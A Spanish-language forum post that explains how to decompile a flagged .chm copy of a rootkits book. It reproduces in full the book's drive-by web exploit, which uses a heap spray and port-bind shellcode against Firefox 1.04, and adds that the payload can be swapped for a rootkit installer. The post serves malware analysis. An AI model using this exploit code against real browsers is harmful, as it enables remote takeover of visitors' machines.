Decompilar archivo .chm infectado - ShellCode/Exploit

Ver el tema anterior Ver el tema siguiente Ir abajo

Decompilar archivo .chm infectado - ShellCode/Exploit

Mensaje  r32 el Jue Oct 13, 2011 4:09 pm

Sobre los archivos .chm: http://es.wikipedia.org/wiki/Microsoft_Compiled_HTML_Help

Archivo de Ayuda de HTML Compilado.
Desarrollador: Microsoft
Información general: Extensión de archivo.chm
Tipo de MIME: application/x-chm
Lanzamiento inicial: 1997
Extendido a: Microsoft Reader
Estándar(es): No
Formato abierto: No

Titulo del paper: Wrox.Professional.Rootkits.Mar.2007.chm
Analisis VirusTotal: 6/43 (Infected JS/Shellcode)

Tras
hacer un escaneo con el antivirus al disco de respaldo donde estan los
tutos y demás me salta el antivirus con una advertencia sobre
ese tutorial:

JS/Exploit.Shellcode.A.gen Troyano

Como tambien pueden contener malware este tipo de archivos, me puse a destriparlo a ver si veía algo raro.
Para decompilar este tipo de archivos podemos utilizar la tool "CHM Decoder".



Cuando termine de decompilar el archivo, generará un archivo html de
guia y una carpeta con el contenido del archivo .chm destripado,
ahora dentro podemos buscar el archivo en cuestion y analizarlo por separado.



Tras decompilarlo y ver los archivos que contiene, busco la ruta del archivo que advierte el antivirus, en mi caso:

/final/BBL0157.html

Al abrirlo con un editor hexadecimal podemos ver algunas referencias, links y otra información que nos puede interesar.

En este caso podemos ver las rutas que hacen referencia a las vulnerabilidades aprovechadas en un ejemplo del
paper titulado "Installing onto Machines That Visit Your Website":



En concreto se hace uso del siguiente code:

Código:
<html>
<head>
<!--
Simple port bind exploit
-->
<title>Exploit for Mozilla Firefox version 1.04 (or Earlier)</title>

<script language="javascript">

function OnLoadBody()
{
 location.href="javascript:void (new InstallVersion());";
 CrashAndBurn();
};

// This functions loads the stack with a payload and then buffer overflows
function CrashAndBurn()
{
 // Spray up to this address
 var heapSprayToAddress=0x12000000;

 // Payload - Bind port 28876 to take complete control of the caller
 var ShellcodeBytes =
 "90 90 90 90 eb 43 56 57 8b 45 3c 8b 54 05 78 01 ea 52 8b 52 20 01 " +
 "ea 31 c0 31 c9 41 8b 34 8a 01 ee 31 ff c1 cf 13 ac 01 c7 85 c0 75 " +
 "f6 39 df 75 ea 5a 8b 5a 24 01 eb 66 8b 0c 4b 8b 5a 1c 01 eb 8b 04 " +
 "8b 01 e8 5f 5e ff e0 fc 31 c0 64 8b 40 30 8b 40 0c 8b 70 1c ad 8b " +
 "68 08 31 c0 66 b8 6c 6c 50 68 33 32 2e 64 68 77 73 32 5f 54 bb 71 " +
 "a7 e8 fe e8 90 ff ff ff 89 ef 89 c5 81 c4 70 fe ff ff 54 31 c0 fe " +
 "c4 40 50 bb 22 7d ab 7d e8 75 ff ff ff 31 c0 50 50 50 50 40 50 40 " +
 "50 bb a6 55 34 79 e8 61 ff ff ff 89 c6 31 c0 50 50 35 02 01 70 cc " +
 "fe cc 50 89 e0 50 6a 10 50 56 bb 81 b4 2c be e8 42 ff ff ff 31 c0 " +
 "50 56 bb d3 fa 58 9b e8 34 ff ff ff 58 60 6a 10 54 50 56 bb 47 f3 " +
 "56 c6 e8 23 ff ff ff 89 c6 31 db 53 68 2e 63 6d 64 89 e1 41 31 db " +
 "56 56 56 53 53 31 c0 fe c4 40 50 53 53 53 53 53 53 53 53 53 53 6a " +
 "44 89 e0 53 53 53 53 54 50 53 53 53 43 53 4b 53 53 51 53 87 fd bb " +
 "21 d0 05 d0 e8 df fe ff ff 5b 31 c0 48 50 53 bb 43 cb 8d 5f e8 cf " +
 "fe ff ff 56 87 ef bb 12 6b 6d d0 e8 c2 fe ff ff 83 c4 5c 61 eb 89 ";
 // Use regular expressions to set unescape sequence
 var payLoadCode = unescape( ShellcodeBytes.replace( /\s*([0-9A-Fa-f][0-9A-Fa-
f])\s*([0-9A-Fa-f][0-9A-Fa-f])/g, "%u$2$1" ) );

 // Size of the heap blocks
 var heapBlockSize = 0x400000;

 // Size of the payload in bytes
 var payLoadSize = payLoadCode.length * 2;

 // Caluclate spray slides size
 var spraySlideSize = heapBlockSize - (payLoadSize + 0x38); // exclude header

 // Set first spray slide ("pdata") with "pvtbl" address - 0x11C0002C
 var spraySlide1 = unescape("%u002C%u11C0");
 spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize);

 var spraySlide2 = unescape("%u002C%u1200"); //0x1200002C
 spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);

 var spraySlide3 = unescape("%u9090%u9090");
 spraySlide3 = getSpraySlide( spraySlide3, spraySlideSize );

 // Spray the heap
 heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
 memory = new Array();
 for ( i = 0; i < heapBlocks; i++ )
 {
  memory[i]=(i%3==0) ? spraySlide1 + payLoadCode:
  (i%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
 }

 // Set address to fake "pdata".
 var eaxAddress = 0x1180002C;

 // Here's the buffer overflow!
 (new InstallVersion).compareTo(new Number(eaxAddress >> 1));
}

function getSpraySlide( spraySlide, spraySlideSize )
{
 while ( spraySlide.length * 2 < spraySlideSize )
 {
  spraySlide += spraySlide;
 }
 spraySlide = spraySlide.substring( 0, spraySlideSize / 2 );
 return spraySlide;
}

</script>
</head>
<body onload="OnLoadBody()">
</body>
</html>

This
 exploit was good throughout the year 2005. A similar GDI exploit
allowed identical results with Internet Explorer 5 for the same period
of time. In each case the actual payload can be swapped with a rootkit
installation routine.

Here are the links to the exploits mentioned above:

[url=http://www.mozilla.org/projects/security/known-vulnerabilities.html]www.mozilla.org/projects/security/known-vulnerabilities.html[/url] (reference MFSA 2005-50)

[url=http://www.microsoft.com/technet/security/bulletin/MS04-028.mspx]www.microsoft.com/technet/security/bulletin/MS04-028.mspx[/url]


Esta es la porción de codigo que hace saltar el antivirus.
Para
comprobarlo, copiamos el contenido del code, lo pegamos en un txt, lo
guardamos como "ejemplo.js" y lo volvemos a subir a VirusTotal.
Resultado:

16/ 43 (37.2%) (Infected JS/Shellcode)

Comentar que el archivo no estaba infectado, traté de explicar como abrir estos archivos por si un caso...
Detecta
el code de un capítulo en el que muestra la técnica de instalación más
utilizada en la utilización delmanejo con los Rootkit.
Es un ejemplo de una página web que permite una conexión remota a cualquier ordenador navegando
por la página con Mozilla Firefox versión 1.4 o anterior.

Para descargar el decompilador de archivos chm:

Web: http://www.gridinsoft.com/chm.php
D.Directa: http://gridinsoft.com/download.php?chm

Un saludo.
avatar
r32
Admin
Admin

Mensajes : 81
Puntos : 1696
Fecha de inscripción : 21/02/2011

https://www.elhacker.net/

Volver arriba Ir abajo

Ver el tema anterior Ver el tema siguiente Volver arriba

- Temas similares

 
Permisos de este foro:
No puedes responder a temas en este foro.